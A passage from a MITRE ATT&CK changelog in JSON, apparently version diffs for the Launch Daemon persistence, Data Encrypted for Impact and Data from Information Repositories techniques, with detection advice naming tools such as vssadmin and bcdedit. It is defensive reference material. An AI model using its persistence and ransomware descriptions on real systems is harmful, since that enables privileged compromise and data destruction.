", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1032: Multi-factor Authentication" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Creation)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-17 19:23:15.227000+00:00", "modified": "2021-10-07 22:10:55.653000+00:00", "name": "Launch Daemon", "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543/004", "external_id": "T1543.004" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/550.html", "external_id": "CAPEC-550" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/551.html", "external_id": "CAPEC-551" }, { "source_name": "AppleDocs Launch Agent Daemons", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" }, { "source_name": "Methods of Mac Malware Persistence", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" }, { "source_name": "launchd Keywords for plists", "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.", "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html" }, { "source_name": "WireLurker", "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" }, { "source_name": "OSX Malware Detection", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" }, { "source_name": "LaunchDaemon Hijacking", "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.", "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/" }, { "source_name": "sentinelone macos persist Jun 2019", "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Creation", "File: File Modification", "Process: Process Creation", "Command: Command Execution", "Service: Service Creation", "Service: Service Modification" ], "x_mitre_detection": "Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\n\n", "x_mitre_effective_permissions": [ "root", "Administrator" ], "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-07 22:10:55.653000+00:00\", \"old_value\": \"2020-09-16 15:46:44.130000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\\n\\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\\n\\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)\", \"old_value\": \"Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple\\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). \\n\\nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. \\n\\nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\\u2019s executable and gain persistence or Privilege Escalation. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple\\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). \\n+Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\\n \\n-Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. \\n+Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\\n \\n-The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\\u2019s executable and gain persistence or Privilege Escalation. \\n+Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"launchd Keywords for plists\", \"old_value\": \"OSX Malware Detection\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.\", \"old_value\": \"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.real-world-systems.com/docs/launchdPlist.1.html\", \"old_value\": \"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\\n\\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\\n\\n\", \"old_value\": \"Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. \", \"diff\": \"--- \\n+++ \\n@@ -1 +1,4 @@\\n-Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. \\n+Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\\n+\\n+Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\\n+\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][7]\": {\"source_name\": \"OSX Malware Detection\", \"description\": \"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.\", \"url\": \"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf\"}, \"root['external_references'][8]\": {\"source_name\": \"LaunchDaemon Hijacking\", \"description\": \"Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.\", \"url\": \"https://bradleyjkemp.dev/post/launchdaemon-hijacking/\"}, \"root['external_references'][9]\": {\"source_name\": \"sentinelone macos persist Jun 2019\", \"description\": \"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.\", \"url\": \"https://www.sentinelone.com/blog/how-malware-persists-on-macos/\"}, \"root['x_mitre_effective_permissions'][1]\": \"Administrator\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may create or modify launch daemons to repeatedlt1Adversaries may create or modify Launch Daemons to execute m
>y execute malicious payloads as part of persistence. Per App>alicious payloads as part of persistence. Launch Daemons are
>le\u2019s developer documentation, when macOS and OS X boot up, l> plist files used to interact with Launchd, the service mana
>aunchd is run to finish system initialization. This process >gement framework used by macOS. Launch Daemons require eleva
>loads the parameters for each launch-on-demand system-level >ted privileges to install, are executed for every user on a 
>daemon from the property list (plist) files found in <code>/>system prior to login, and run in the background without the
>System/Library/LaunchDaemons</code> and <code>/Library/Launc> need for user interaction. During the macOS initialization 
>hDaemons</code> (Citation: AppleDocs Launch Agent Daemons). >startup, the launchd process loads the parameters for launch
>These LaunchDaemons have property list files which point to >-on-demand system-level daemons from plist files found in <c
>the executables that will be launched (Citation: Methods of >ode>/System/Library/LaunchDaemons/</code> and <code>/Library
>Mac Malware Persistence).   Adversaries may install a new la>/LaunchDaemons/</code>. Required Launch Daemons parameters i
>unch daemon that can be configured to execute at startup by >nclude a <code>Label</code> to identify the task, <code>Prog
>using launchd or launchctl to load a plist into the appropri>ram</code> to provide a path to the executable, and <code>Ru
>ate directories  (Citation: OSX Malware Detection). The daem>nAtLoad</code> to specify when the task is run. Launch Daemo
>on name may be disguised by using a name from a related oper>ns are often used to provide access to shared resources, upd
>ating system or benign software (Citation: WireLurker). Laun>ates to software, or conduct automation tasks.(Citation: App
>ch Daemons may be created with administrator privileges, but>leDocs Launch Agent Daemons)(Citation: Methods of Mac Malwar
> are executed under root privileges, so an adversary may als>e Persistence)(Citation: launchd Keywords for plists)  Adver
>o use a service to escalate privileges from administrator to>saries may install a Launch Daemon configured to execute at 
> root.   The plist file permissions must be root:wheel, but >startup by using the <code>RunAtLoad</code> parameter set to
>the script or program that it points to has no such requirem> <code>true</code> and the <code>Program</code> parameter se
>ent. So, it is possible for poor configurations to allow an >t to the malicious executable path. The daemon name may be d
>adversary to modify a current Launch Daemon\u2019s executable and>isguised by using a name from a related operating system or 
> gain persistence or Privilege Escalation. >benign software (i.e. [Masquerading](https://attack.mitre.or
 >g/techniques/T1036)). When the Launch Daemon is executed, th
 >e program inherits administrative permissions.(Citation: Wir
 >eLurker)(Citation: OSX Malware Detection)  Additionally, sys
 >tem configuration changes (such as the installation of third
 > party package managing software) may cause folders such as 
 ><code>usr/local/bin</code> to become globally writeable. So,
 > it is possible for poor configurations to allow an adversar
 >y to modify executables referenced by current Launch Daemon'
 >s plist files.(Citation: LaunchDaemon Hijacking)(Citation: s
 >entinelone macos persist Jun 2019)
", "changelog_mitigations": { "shared": [ "M1018: User Account Management" ], "new": [ "M1047: Audit" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0019: Service (Service Modification)", "DS0022: File (File Creation)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-03-15 13:59:30.390000+00:00", "modified": "2021-08-16 21:07:27.119000+00:00", "name": "Data Encrypted for Impact", "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "impact" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1486", "external_id": "T1486" }, { "source_name": "US-CERT Ransomware 2016", "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A" }, { "source_name": "FireEye WannaCry 2017", "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" }, { "source_name": "US-CERT NotPetya 2017", "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" }, { "source_name": "US-CERT SamSam 2018", "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A" }, { "source_name": "Rhino S3 Ransomware Part 1", "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.", "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Oleg Kolesnikov, Securonix" ], "x_mitre_data_sources": [ "Cloud Storage: Cloud Storage Metadata", "Cloud Storage: Cloud Storage Modification", "Process: Process Creation", "Command: Command Execution", "File: File Modification", "File: File Creation" ], "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.", "x_mitre_impact_type": [ "Availability" ], "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator", "root", "SYSTEM" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows", "IaaS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:07:27.119000+00:00\", \"old_value\": \"2021-04-20 16:39:06.594000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1053: Data Backup", "T1486: Data Encrypted for Impact Mitigation" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0010: Cloud Storage (Cloud Storage Metadata)", "DS0010: Cloud Storage (Cloud Storage Modification)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-10-16 01:35:43.938000+00:00", "name": "Data from Information Repositories", "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1213", "external_id": "T1213" }, { "source_name": "Microsoft SharePoint Logging", "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" }, { "source_name": "Sharepoint Sharing Events", "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.", "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events" }, { "source_name": "Atlassian Confluence Logging", "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)", "Regina Elwell", "Isif Ibrahima", "Praetorian", "Milos Stojadinovic" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Application Log: Application Log Content" ], "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "Windows", "macOS", "SaaS", "Office 365", "Google Workspace", "IaaS" ], "x_mitre_version": "3.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 01:35:43.938000+00:00\", \"old_value\": \"2021-04-14 14:16:12.151000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \\n\\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.\", \"old_value\": \"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\\n\\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\\n+Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \\n \\n The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\\n \\n@@ -11,4 +11,4 @@\\n * Source code snippets\\n * Links to network shares and other internal resources\\n \\n-Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.\\n+Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Sharepoint Sharing Events\", \"old_value\": \"Atlassian Confluence Logging\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.\", \"old_value\": \"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events\", \"old_value\": \"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html\"}, \"root['x_mitre_detection']\": {\"new_value\": \"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. \", \"old_value\": \"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n+As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n \\n-The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence 